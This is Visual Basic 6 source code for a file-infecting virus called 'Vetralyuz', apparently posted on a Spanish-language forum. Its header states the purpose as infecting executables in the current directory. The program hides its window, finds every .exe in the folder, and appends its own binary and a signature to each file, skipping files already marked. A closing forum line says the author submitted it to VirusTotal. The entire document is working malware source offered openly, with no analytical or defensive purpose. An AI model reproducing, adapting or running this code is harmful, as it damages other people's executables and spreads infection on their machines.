'====================================================================='
' Proyecto : Vetralyuz '
' Fecha de Compilación : 20/12/2009 '
' Hora de Compilación : 02:48 a.m. '
' Versión : 1.0 Alfa '
' Autor : D@rB-15 '
' Mail : [email protected] '
' Página Web : http://www.indetectables.net/ '
' Función : Infectar Ejecutables en el Directorio Actual.'
' Uso : Bajo su Propio Riesgo '
' Requerimientos : Libreria MSVBVM60.dll '
' Lineas de Código : 102 '
'====================================================================='

Option Explicit
Dim Archivos As String
Dim Total As Long
Dim XD As String
Dim C As Integer
Dim EXE As String
Dim A As Integer
Dim Host As String
Dim B As Integer
Dim Yo As String
Dim Infectado As Boolean
Dim X As Integer
Dim Codigo() As String
Dim Ejecutable As String
Const Mi_Firma As String = "Es un Virus, Es un Gusano? Quien sabe!? Vetralyuz (c) D@rB-15 2009"

Private Sub Form_Load()
If App.PrevInstance = True Then End
Me.Visible = False
Me.Caption = vbNullString
Me.BorderStyle = 0
App.Title = "Vetralyuz Virus"
If Buscar_Ejecutables = True Then
MsgBox "Hay " & Total - 1 & " Ejecutables en el Directorio Actual.", vbInformation + vbOKOnly
Infectar_Archivo (EXE)
Else
MsgBox "No Hay Ejecutables en el Directorio Actual.", vbInformation + vbOKOnly
End
End If
End Sub

Function Buscar_Ejecutables() As Boolean
Archivos = Dir$(Mi_Ruta & "*.exe")
If Archivos = "" Then
Buscar_Ejecutables = False
Exit Function
Else
Do
Total = Total + 1
EXE = EXE & "$PLIT$" & Archivos
Archivos = Dir$
Loop Until Archivos = ""
If Total = 1 Then
Buscar_Ejecutables = False
Else
Buscar_Ejecutables = True
End If
End If
End Function

Function Mi_Codigo() As String
A = FreeFile()
Open Mi_Ruta & App.EXEName & ".exe" For Binary As #A
Yo = Space$(LOF(A))
Get #A, , Yo
Close #A
Mi_Codigo = Yo
End Function

Function Mi_Ruta() As String
Mi_Ruta = App.Path
If Right$(Mi_Ruta, 1) <> "\" Then
Mi_Ruta = Mi_Ruta & "\"
Else
Mi_Ruta = Mi_Ruta
End If
End Function

Function Escribir_Codigo(Binario As String)
C = FreeFile()
If Binario = App.EXEName & ".exe" Then Exit Function
Leer_Archivo (Ejecutable)
If Infectado = True Then
MsgBox "El Archivo " & """" & Binario & """" & " Ya Esta Infectado, Procediendo a Infectar Otro Archivo.", vbInformation + vbOKOnly
Exit Function
Else
Open Mi_Ruta & Binario For Binary As #C
Put #C, , Host
Put #C, , Mi_Firma
Put #C, , Mi_Codigo
Close #C
End If
End Function

Function Infectar_Archivo(Archivo_Ejecutable As String)
Codigo = Split(Archivo_Ejecutable, "$PLIT$")
For X = 1 To UBound(Codigo)
Ejecutable = vbNullString
Ejecutable = Codigo(X)
Escribir_Codigo (Ejecutable)
Next X
MsgBox "Todos los Ejecutables Han Sido Infectados!", vbExclamation + vbOKOnly
End
End Function

Function Leer_Archivo(Archivo_EXE As String)
Infectado = False
B = FreeFile()
Open Mi_Ruta & Archivo_EXE For Binary As #B
Host = Space$(LOF(B))
Get #B, , Host
Close #B
XD = InStr(Host, "Vetralyuz")
If XD <> 0 Then
Infectado = True
Else
Infectado = False
End If
End Function

D@rB-15 escribió: PD: ya lo envie a virustotal xD